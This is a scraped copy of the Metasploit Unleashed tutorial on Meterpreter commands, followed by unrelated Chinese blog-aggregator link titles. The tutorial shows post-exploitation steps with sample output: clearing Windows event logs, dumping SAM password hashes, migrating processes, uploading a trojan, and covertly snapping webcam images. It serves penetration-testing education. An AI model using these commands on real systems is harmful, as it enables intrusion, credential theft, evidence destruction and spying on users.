Using Meterpeter commands

Since the Meterpreter provides a
whole new environment, we will cover some of the basic Meterpreter
commands to get you started and help familiarize you with this most
powerful tool. Throughout this course, almost every available
Meterpreter command is covered. For those that aren’t covered,
experimentation is the key to successful learning.

help

The ‘help‘ command, as may be expected, displays the Meterpreter help menu.

  1. meterpreter > help Core Commands
  2. =============
  3.  
  4. Command Description
  5. ------- -----------
  6. ? Help menu
  7. background Backgrounds the current session
  8. channel Displays information about active channels ...snip...

background

The ‘background‘ command will send the current
Meterpreter session to the background and return you to the msf prompt.
To get back to your Meterpreter session, just interact with it again.

  1. meterpreter > background msf exploit(ms08_067_netapi) > sessions -i 1 [*] Starting interaction with 1... meterpreter >

cat

The ‘cat‘ command is identical to the command found on *nix systems. It displays the content of a file when it’s given as an argument.

  1. meterpreter > cat Usage: cat file
  2.  
  3. Example usage: meterpreter > cat edit.txt What you talkin' about Willis meterpreter >

cd & pwd

The ‘cd‘ & ‘pwd‘ commands are used to change and display current working directly on the target host.
The change directory “cd” works the same way as it does under DOS and *nix systems.
By default, the current working folder is where the connection to your listener was initiated.

ARGUMENTS:

  1. cd: Path of the folder to change to pwd: None required

Example usuage:

  1. meterpreter > pwd c:\ meterpreter > cd c:\windows meterpreter > pwd c:\windows meterpreter >

clearev

The ‘clearev‘ command will clear the Application, System and Security logs on a Window systems. There are no options or arguments.

Before using Meterpreter to clear the logs | Metasploit Unleashed

Example usage:
Before

  1. meterpreter > clearev [*] Wiping 97 records from Application... [*] Wiping 415 records from System... [*] Wiping 0 records from Security... meterpreter >

After using Meterpreter to clear the logs | Metasploit Unleashed

After

download

The ‘download‘ command downloads a file from the remote machine. Note the use of the double-slashes when giving the Windows path.

  1. meterpreter > download c:\\boot.ini [*] downloading: c:\boot.ini -> c:\boot.ini [*] downloaded : c:\boot.ini -> c:\boot.ini/boot.ini meterpreter >

edit

The ‘edit‘ command opens a file located on the target host.
It uses the ‘vim’ so all the editor’s commands are available.

Example usage:

  1. meterpreter > ls Listing: C:\Documents and Settings\Administrator\Desktop
  2. ========================================================
  3.  
  4. Mode Size Type Last modified Name
  5. ---- ---- ---- ------------- ----
  6. . ...snip... .
  7. 100666/rw-rw-rw- 0 fil 2012-03-01 13:47:10 -0500 edit.txt meterpreter > edit edit.txt

Please refer to the “vim” editor documentation for more advance use.
http://www.vim.org/

execute

The ‘execute‘ command runs a command on the target.

  1. meterpreter > execute -f cmd.exe -i -H Process 38320 created.
  2. Channel 1 created.
  3. Microsoft Windows XP [Version 5.1.2600]
  4. (C) Copyright 1985-2001 Microsoft Corp.
  5.  
  6. C:\WINDOWS\system32>

getuid

Running ‘getuid‘ will display the user that the Meterpreter server is running as on the host.

  1. meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter >

hashdump

The ‘hashdump‘ post module will dump the contents of the SAM database.

  1. meterpreter > run post/windows/gather/hashdump [*] Obtaining the boot key... [*] Calculating the hboot key using SYSKEY 8528c78df7ff55040196a9b670f114b6... [*] Obtaining the user list and keys... [*] Decrypting user keys... [*] Dumping password hashes...
  2.  
  3. Administrator:500:b512c1f3a8c0e7241aa818381e4e751b:1891f4775f676d4d10c09c1225a5c0a3:::
  4. dook:1004:81cbcef8a9af93bbaad3b435b51404ee:231cbdae13ed5abd30ac94ddeb3cf52d:::
  5. Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
  6. HelpAssistant:1000:9cac9c4683494017a0f5cad22110dbdc:31dcf7f8f9a6b5f69b9fd01502e6261e:::
  7. SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:36547c5a8a3de7d422a026e51097ccc9:::
  8. victim:1003:81cbcea8a9af93bbaad3b435b51404ee:561cbdae13ed5abd30aa94ddeb3cf52d::: meterpreter >

idletime

Running ‘idletime‘ will display the number of seconds that the user at the remote machine has been idle.

  1. meterpreter > idletime User has been idle for: 5 hours 26 mins 35 secs meterpreter >

ipconfig

The ‘ipconfig‘ command displays the network interfaces and addresses on the remote machine.

  1. meterpreter > ipconfig MS TCP Loopback interface
  2. Hardware MAC: 00:00:00:00:00:00
  3. IP Address : 127.0.0.1
  4. Netmask : 255.0.0.0
  5.  
  6. AMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport
  7. Hardware MAC: 00:0c:29:10:f5:15
  8. IP Address : 192.168.1.104
  9. Netmask : 255.255.0.0 meterpreter >

lpwd & lcd

The ‘lpwd‘ & ‘lcd‘ commands are used to display and change the local working directory respectively.
When receiving a meterpreter shell, the local working directory is the location where one started the Metasploit console.
Changing the working directory will give your meterpreter session access to files located in this folder.

ARGUMENTS:

  1. lpwd: None required lcd: Destination folder

Example usage:

  1. meterpreter > lpwd /root meterpreter > lcd MSFU meterpreter > lpwd /root/MSFU meterpreter > lcd /var/www meterpreter > lpwd /var/www meterpreter >

ls

As in Linux, the ‘ls‘ command will list the files in the current remote directory.

  1. meterpreter > ls Listing: C:\Documents and Settings\victim
  2. =========================================
  3.  
  4. Mode Size Type Last modified Name
  5. ---- ---- ---- ------------- ----
  6. 40777/rwxrwxrwx 0 dir Sat Oct 17 07:40:45 -0600 2009 .
  7. 40777/rwxrwxrwx 0 dir Fri Jun 19 13:30:00 -0600 2009 ..
  8. 100666/rw-rw-rw- 218 fil Sat Oct 03 14:45:54 -0600 2009 .recently-used.xbel
  9. 40555/r-xr-xr-x 0 dir Wed Nov 04 19:44:05 -0700 2009 Application Data ...snip...

migrate

Using the ‘migrate‘ post module, you can migrate to another process on the victim.

  1. meterpreter > run post/windows/manage/migrate [*] Running module against V-MAC-XP [*] Current server process: svchost.exe (1076) [*] Migrating to explorer.exe... [*] Migrating into process ID 816 [*] New server process: Explorer.EXE (816) meterpreter >

ps

The ‘ps‘ command displays a list of running processes on the target.

  1. meterpreter > ps Process list
  2. ============
  3.  
  4. PID Name Path
  5. --- ---- ----
  6. 132 VMwareUser.exe C:\Program Files\VMware\VMware Tools\VMwareUser.exe
  7. 152 VMwareTray.exe C:\Program Files\VMware\VMware Tools\VMwareTray.exe
  8. 288 snmp.exe C:\WINDOWS\System32\snmp.exe ...snip...

resource

The ‘resource‘ command will execute meterpreter
instructions located inside a text file. Containing one entry per line,
“resource” will execute each line in sequence. This can help automate
repetitive actions performed by a user.

By default, the commands will run in the current working directory
(on target machine) and resource file in the local working directory
(the attacking machine).

  1. meterpreter > resource Usage: resource path1 path2Run the commands stored in the supplied files.
  2. meterpreter >

ARGUMENTS:

  1. path1: The location of the file containing the commands to run. Path2Run: The location where to run the commands found inside the file

Example usage
Our file used by resource:

  1. root@kali:~# cat resource.txt ls
  2. background root@kali:~#

Running resource command:

  1. meterpreter> > resource resource.txt [*] Reading /root/resource.txt [*] Running ls
  2.  
  3. Listing: C:\Documents and Settings\Administrator\Desktop
  4. ========================================================
  5.  
  6. Mode Size Type Last modified Name
  7. ---- ---- ---- ------------- ----
  8. 40777/rwxrwxrwx 0 dir 2012-02-29 16:41:29 -0500 .
  9. 40777/rwxrwxrwx 0 dir 2012-02-02 12:24:40 -0500 ..
  10. 100666/rw-rw-rw- 606 fil 2012-02-15 17:37:48 -0500 IDA Pro Free.lnk
  11. 100777/rwxrwxrwx 681984 fil 2012-02-02 15:09:18 -0500 Sc303.exe
  12. 100666/rw-rw-rw- 608 fil 2012-02-28 19:18:34 -0500 Shortcut to Ability Server.lnk
  13. 100666/rw-rw-rw- 522 fil 2012-02-02 12:33:38 -0500 XAMPP Control Panel.lnk
  14.  
  15. [*] Running background
  16.  
  17. [*] Backgrounding session 1...
  18. msf exploit(handler) >

search

The ‘search‘ commands provides a way of locating
specific files on the target host. The command is capable of searching
through the whole system or specific folders.
Wildcards can also be used when creating the file pattern to search for.

  1. meterpreter > search [-] You must specify a valid file glob to search for, e.g. >search -f *.doc

ARGUMENTS:

  1. File pattern: May contain wildcards
  2. Search location: Optional, if none is given the whole system will be searched.

Example usage:

  1. meterpreter > search -f autoexec.bat Found 1 result...
  2. c:\AUTOEXEC.BAT meterpreter > search -f sea*.bat c:\\xamp\\ Found 1 result...
  3. c:\\xampp\perl\bin\search.bat (57035 bytes) meterpreter >

shell

The ‘shell‘ command will present you with a standard shell on the target system.

  1. meterpreter > shell Process 39640 created.
  2. Channel 2 created.
  3. Microsoft Windows XP [Version 5.1.2600]
  4. (C) Copyright 1985-2001 Microsoft Corp.
  5.  
  6. C:\WINDOWS\system32>

upload

As with the ‘download‘ command, you need to use double-slashes with the ‘upload’ command.

  1. meterpreter > upload evil_trojan.exe c:\\windows\\system32 [*] uploading : evil_trojan.exe -> c:\windows\system32 [*] uploaded : evil_trojan.exe -> c:\windows\system32\evil_trojan.exe meterpreter >

webcam_list

The ‘webcam_list‘ command when run from the meterpreter shell, will display currently available web cams on the target host.

Example usage:

  1. meterpreter > webcam_list 1: Creative WebCam NX Pro
  2. 2: Creative WebCam NX Pro (VFW) meterpreter >

webcam_snap

The ‘webcam_snap’ command grabs a picture from a
connected web cam on the target system, and saves it to disc as a JPEG
image. By default, the save location is the local current working
directory with a randomized filename.

  1. meterpreter > webcam_snap -h Usage: webcam_snap [options]
  2. Grab a frame from the specified webcam.
  3.  
  4. OPTIONS:
  5.  
  6. -h Help Banner
  7. -i >opt> The index of the webcam to use (Default: 1)
  8. -p >opt> The JPEG image path (Default: 'gnFjTnzi.jpeg')
  9. -q >opt> The JPEG image quality (Default: '50')
  10. -v >opt> Automatically view the JPEG image (Default: 'true') meterpreter >

OPTIONS:

  1. -h: Displays the help information for the command
  2. -i opt: If more then 1 web cam is connected, use this option to select the device to capture the
  3. image from
  4. -p opt: Change path and filename of the image to be saved
  5. -q opt: The imagine quality, 50 being the default/medium setting, 100 being best quality
  6. -v opt: By default the value is true, which opens the image after capture.

Example usage:

  1. meterpreter > webcam_snap -i 1 -v false
  2. [*] Starting...
  3. [+] Got frame
  4. [*] Stopped
  5. Webcam shot saved to: /root/Offsec/YxdhwpeQ.jpeg
  6. meterpreter >

Using webcam_snap Meterpreter plugin | Metasploit Unleashed

The meterprter basic commonds的更多相关文章

  1. Atitit HTTP 认证机制基本验证 (Basic Authentication) 和摘要验证 (Digest Authentication)attilax总结

    Atitit HTTP认证机制基本验证 (Basic Authentication) 和摘要验证 (Digest Authentication)attilax总结 1.1. 最广泛使用的是基本验证 ( ...

  2. Basic Tutorials of Redis(9) -First Edition RedisHelper

    After learning the basic opreation of Redis,we should take some time to summarize the usage. And I w ...

  3. Basic Tutorials of Redis(8) -Transaction

    Data play an important part in our project,how can we ensure correctness of the data and prevent the ...

  4. Basic Tutorials of Redis(7) -Publish and Subscribe

    This post is mainly about the publishment and subscription in Redis.I think you may subscribe some o ...

  5. Basic Tutorials of Redis(6) - List

    Redis's List is different from C#'s List,but similar with C#'s LinkedList.Sometimes I confuse with t ...

  6. Basic Tutorials of Redis(5) - Sorted Set

    The last post is mainly about the unsorted set,in this post I will show you the sorted set playing a ...

  7. Basic Tutorials of Redis(4) -Set

    This post will introduce you to some usages of Set in Redis.The Set is a unordered set,it means that ...

  8. Basic Tutorials of Redis(3) -Hash

    When you first saw the name of Hash,what do you think?HashSet,HashTable or other data structs of C#? ...

  9. Basic Tutorials of Redis(2) - String

    This post is mainly about how to use the commands to handle the Strings of Redis.And I will show you ...

随机推荐

  1. python-前方高能-面向对象-进阶3

    面向对象 你写代码的时候 什么时候用面向对象 代码量大,功能多的时候 处理比较复杂的角色之间的关系 qq 好友 陌生人 群 组 复杂的电商程序 公司/学校的人事管理/功能的系统 我的代码的清晰度更高了 ...

  2. Redis的事物

    Redis的事物 Redis 事物常用命令 multi标记一个事物块的开始   exec:执行所有事物块内的命令   discard: 取消事物,放弃执行事物块的所有命令   watch key [k ...

  3. SQL注入--显注和盲注中过滤逗号绕过

    SQL注入逗号绕过 1.联合查询显注绕过逗号 在联合查询时使用 UNION SELECT 1,2,3,4,5,6,7..n 这样的格式爆显示位,语句中包含了多个逗号,如果有WAF拦截了逗号时,我们的联 ...

  4. CentOS 下 MySQL 5.6 基于 RPM 的下载、安装、配置

    CentOS 下 MySQL 5.6 基于 RPM 的下载.安装.配置 系统: CentOS 7 x86_64 MySQL 版本: 5.6.40 安装方式: RPM 下载 下载地址 操作系统 选择 R ...

  5. Windows下遍历某目录下的文件

    需求:要求遍历某个目录下的所有文件,文件夹 之前遇到过一些参考程序,其中有一种方法只能遍历 FAT32 格式的目录, 无法遍历NTFS的目录.

  6. Action Required: Please provide your Tax Identity Information - Amazon Seller Tax Identity Collection

    Hello ***,   Your selling privileges have been suspended because we have not received required tax i ...

  7. ASP.NET 异步Web API + jQuery Ajax 文件上传代码小析

    该示例中实际上应用了 jquery ajax(web client) + async web api 双异步. jquery ajax post $.ajax({ type: "POST&q ...

  8. 3D打印产业链全景图

  9. 福大软工1816:Beta总结

    第三视角Beta答辩总结 博客链接以及团队信息 组长博客链接 成员信息(按拼音排序) 姓名 学号 备注 张扬 031602345 组长 陈加伟 031602204 郭俊彦 031602213 洪泽波 ...

  10. c#程序的阅读

    1 .程序是为表示两个连续的整数不能被整除. 2 ,3 程序黑框得不出结果,所以不知道具体的结果和运行时间. 4 采用更好的专用电脑进行计算.